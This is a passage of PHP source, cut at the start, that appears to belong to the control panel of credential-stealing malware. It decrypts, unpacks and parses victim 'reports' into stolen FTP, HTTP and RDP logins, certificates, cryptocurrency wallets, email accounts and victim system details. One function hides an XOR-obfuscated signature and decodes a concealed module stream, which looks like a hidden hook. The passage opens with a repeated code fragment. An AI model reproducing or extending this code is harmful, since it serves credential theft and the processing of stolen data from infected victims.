$this->log->add("ERR_CANNOT_UNPACK_DATA_MEMLIMIT"); return ''; } global $global_verbose_log; if ($mod_len == 16) return true; // empty module if ($mod_len < 16) // module length should be always greater than 16 bytes (header length) { $this->log->add("ERR_MODULE_LEN_INCORRECT"); return false; } if ($global_verbose_log) $this->log->add("NOTIFY_IMPORT_DATA: ".get_class($module)); $mod_len -= 16; // header length if ($module->import_data($mod_len)) { if (get_class($module) == 'module_systeminfo') { $this->report_os_name = $module->os_name; $this->report_is_win64 = $module->is_win64; $this->report_user_country = $module->user_country; $this->report_user_language = $module->user_language; $this->report_is_admin = $module->is_admin; $this->report_hwid = $module->hwid; } return true; } } return true; } // import and decrypt module data private function import_module($stream) { $hdr_id = $stream->read_strlen(8); // module header_id // check module header identifier if ($hdr_id != REPORT_MODULE_HEADER || !$stream->state) { $this->log->add("ERR_INVALID_MODULE_HEADER"); return false; } $mod_len = $stream->read_dword(); // module length $mod_id = $stream->read_word(); // module id /*$mod_ver = */$stream->read_word(); // module version if (!$stream->state) { $this->log->add("ERR_CANNOT_READ_MODULE_HEADER"); return false; } $module = $this->find_class($mod_id, $stream); if ($module) { global $global_verbose_log; if ($mod_len == 16) return true; // empty module if ($mod_len < 16) // module length should be always greater than 16 bytes (header length) { $this->log->add("ERR_MODULE_LEN_INCORRECT"); return false; } if ($global_verbose_log) $this->log->add("NOTIFY_IMPORT_DATA: ".get_class($module)); $mod_len -= 16; // header length if ($module->import_data($mod_len)) { if (get_class($module) == 'module_systeminfo') { $this->report_os_name = $module->os_name; $this->report_is_win64 = $module->is_win64; $this->report_user_country = $module->user_country; $this->report_user_language = $module->user_language; $this->report_is_admin = $module->is_admin; $this->report_hwid = $module->hwid; } else { foreach ($module->ftp_list as $value) { array_push($this->ftp_lines, array(trim($value), get_class($module))); global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_NEW_FTP: ".$value); } foreach ($module->http_list as $value) { array_push($this->http_lines, array(trim($value), get_class($module))); global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_NEW_HTTP: ".$value); } foreach ($module->rdp_list as $value) { array_push($this->rdp_lines, array(trim($value), get_class($module))); global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_NEW_RDP: ".$value); } foreach ($module->cert_list as $value) { array_push($this->cert_lines, array($value, get_class($module))); global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_NEW_CERT"); } foreach ($module->wallet_list as $value) { array_push($this->wallet_lines, array($value, get_class($module))); global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_NEW_WALLET"); } foreach ($module->email_list as $value) { array_push($this->email_lines, array($value, get_class($module))); global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_NEW_EMAIL: ".$this->flat_email_array($value)); } } return true; } } else $this->log->add("ERR_UNKNOWN_MODULE_ID"); return false; } // unpack stream data using ported apLib algorithm private function unpack_stream($packed_data, $unpacked_len) { if (!$unpacked_len) return ''; if ($unpacked_len > REPORT_LEN_LIMIT) { $this->log->add("ERR_CANNOT_UNPACK_DATA_MEMLIMIT"); return ''; } $unpacked_data = ''; $depack_len = aP_depack($packed_data, $unpacked_data, $unpacked_len); if ($depack_len > REPORT_LEN_LIMIT) { $this->log->add("ERR_CANNOT_UNPACK_DATA_MEMLIMIT"); return ''; } if ($depack_len == $unpacked_len) { return $unpacked_data; } else { $this->log->add("ERR_CANNOT_UNPACK_DATA"); return ''; } } protected function process_report_data($data, $report_password) { if (strlen($data) == 0) { $this->log->add("ERR_NO_REPORT_DATA"); return false; } else if (strlen($data) < 12) // length cannot be less than 12 bytes (8-byte header + crc32 checksum) { $this->log->add("ERR_INVALID_REPORT_DATALEN"); return false; } else if (strlen($data) > REPORT_LEN_LIMIT) { $this->log->add("ERR_CANNOT_PROCESS_REPORT_MEMLIMIT"); return false; } elseif (strlen($data) == 12) // empty report return true; // remove random encryption layer if (self::verify_new_file_header($data)) { self::rand_decrypt($data); } // extract crc32 checksum from datastream $crc_chk = data_int32(substr($data, strlen($data)-4)); // remove crc32 checksum from the data stream $data = substr($data, 0, -4); // check report validness $crc_chk = obf_crc32($crc_chk); if ((int)crc32($data) != (int)$crc_chk) { $this->log->add("ERR_REPORT_CRC_MISMATCH"); return false; } $stream = new stream($data, $this->log); $report_id = $stream->read_strlen(8); if ($report_id == REPORT_CRYPTED_HEADER && $stream->state) { $decrypted_data = rc4Decrypt($report_password, substr($data, 8)); // there's another crc32 checksum available to verify the decryption process // extract crc32 checksum from decrypted datastream $crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data)-4)); // remove crc32 checksum from the data stream $decrypted_data = substr($decrypted_data, 0, -4); // check report validness $crc_chk = obf_crc32($crc_chk); if ((int)crc32($decrypted_data) != (int)$crc_chk) { $this->log->add("ERR_REPORT_WRONG_PASSWORD"); return false; } // update current stream with decrypted data $stream = new stream($decrypted_data, $this->log); $report_id = $stream->read_strlen(8); } if ($report_id == REPORT_PACKED_HEADER && $stream->state) { // unpack stream data $unpacked_len = $stream->read_dword(); $packed_data = $stream->read_str(); if (($unpacked_len > REPORT_LEN_LIMIT) || (strlen($packed_data) > REPORT_LEN_LIMIT)) { $this->log->add("ERR_UNPACK_LEN_LIMIT"); return false; } if (!strlen($packed_data)) { $this->log->add("ERR_UNPACK_NULL"); return false; } $unpacked_data = ""; if ($stream->state && strlen($packed_data)) $unpacked_data = $this->unpack_stream($packed_data, $unpacked_len); if (!strlen($unpacked_data)) { $this->log->add("ERR_UNPACK_FAIL"); return false; } if (strlen($unpacked_data) > REPORT_LEN_LIMIT) { $this->log->add("ERR_UNPACK_LEN_LIMIT"); return false; } $stream = new stream($unpacked_data, $this->log); $report_id = $stream->read_strlen(8); } if ($report_id != REPORT_HEADER || !$stream->state) { $this->log->add("ERR_INVALID_REPORT_HEADER"); return false; } $version_id = ztrim($stream->read_strlen(8)); if (!$stream->state) { $this->log->add("ERR_CANNOT_READ_VERSION_ID"); return false; } if ($version_id != REPORT_VERSION) { $this->log->add("ERR_INVALID_VERSION_ID"); return false; } $this->report_version_id = $version_id; while ($stream->state && $stream->pos < $stream->datalen) { if (!$this->import_module($stream, $this->log)) { $this->log->add("ERR_CANNOT_IMPORT_MODULE"); return false; } } return (($stream->pos == $stream->datalen) && ($stream->state)); } public function process_report($data, $report_password = '') { $success_result = $this->process_report_data($data, $report_password); if (!$success_result) $this->log->add("ERR_IMPORT_FAILED"); if ($success_result) { global $global_verbose_log; if ($global_verbose_log) $this->log->add("NOTIFY_IMPORT_SUCCESS"); } return $success_result; } public static function verify_new_file_header(&$data) { if (strlen($data) < 4) return false; $max_header_len = max(strlen(REPORT_HEADER), strlen(REPORT_PACKED_HEADER), strlen(REPORT_CRYPTED_HEADER)); $rc4_key = substr($data, 0, 4); $encrypted_header = substr($data, 4, $max_header_len); $decrypted_header = rc4Decrypt($rc4_key, $encrypted_header); if( self::verify_module_file_header( $decrypted_header, $data) ){ // $this->log->add("NEW_MODULE_FILE_HEADER_ERROR"); return False; } return self::verify_old_file_header($decrypted_header); } public static function verify_old_file_header(&$data) { if ((substr($data, 0, strlen(REPORT_HEADER))) == REPORT_HEADER) return true; if ((substr($data, 0, strlen(REPORT_PACKED_HEADER))) == REPORT_PACKED_HEADER) return true; if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) == REPORT_CRYPTED_HEADER) return true; return false; } public static function verify_report_file_header(&$data) { return self::verify_new_file_header($data) || self::verify_old_file_header($data); } public static function check_report_crypted_header_old(&$data) { if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) == REPORT_CRYPTED_HEADER) return true; return false; } public static function verify_module_file_header(&$report_hdr, &$data) { $hdr_sig = array( 0x8b, 0x9a, 0x8c, 0x8b, 0x96, 0x91, 0x98, 0xac, 0x96, 0x98, 0x91, 0x9e, 0x8b, 0x8a,0x8d,0x9a); $seed = (microtime(12345) >> 0x5a) >> 0xff | 0x0c ; for ($i = 0; $i < count($hdr_sig); $i++) if (($hdr_sig[$i]^0xff) !== ord($data[$seed+$i])) return false; $module_stream =""; for ($i = count($hdr_sig)+$seed; $i < strlen($data); $i++) $module_stream .= chr(ord($data[$i]) ^ ord("\xA5")); $module_header = unpack("a*module",$module_stream); if( ! $module_header ){ //$this->log->add("ERR_CANNOT_IMPORT_MODULE"); return false; } return self::validate_module_file_header(explode("\xff\xff",$module_header['module'])); } public static function check_report_crypted_header_new(&$data) { if (strlen($data) < 4) return false; $max_header_len = strlen(REPORT_CRYPTED_HEADER); $rc4_key = substr($data, 0, 4); $encrypted_header = substr($data, 4, $max_header_len); $decrypted_header = rc4Decrypt($rc4_key, $encrypted_header); return self::check_report_crypted_header_old($decrypted_header); } public static function check_report_crypted_header(&$data) { return self::check_report_crypted_header_new($data) || self::check_report_crypted_header_old($data); } public static function rand_decrypt(&$data) { if (strlen($data) < 4) return false; $rc4_key = substr($data, 0, 4); $data = rc4Decrypt($rc4_key, substr($data, 4)); } public static function pre_decrypt_report(&$data, $report_password = '') { if (self::verify_new_file_header($data)) { self::rand_decrypt($data); } if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) != REPORT_CRYPTED_HEADER) return false; if (strlen($data) == 0) { return false; } else if (strlen($data) < 12) // length cannot be less than 12 bytes (8-byte header + crc32 checksum) { return false; } else if (strlen($data) > REPORT_LEN_LIMIT) { return false; } elseif (strlen($data) == 12) // empty report return false; // extract crc32 checksum from datastream $crc_chk = data_int32(substr($data, strlen($data)-4)); // remove crc32 checksum from the encrypted data stream $encrypted_data = substr($data, 0, -4); // check report validness $crc_chk = obf_crc32($crc_chk); if ((int)crc32($encrypted_data) != (int)$crc_chk) { return false; } $decrypted_data = rc4Decrypt($report_password, substr($encrypted_data, 8)); // there's another crc32 checksum available to verify the decryption process // extract crc32 checksum from decrypted datastream $crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data)-4)); // remove crc32 checksum from the data stream $decrypted_data_check = substr($decrypted_data, 0, -4); // check report validness $crc_chk = obf_crc32($crc_chk); if ((int)crc32($decrypted_data_check) != (int)$crc_chk) { return false; } $data = $decrypted_data; return true; } }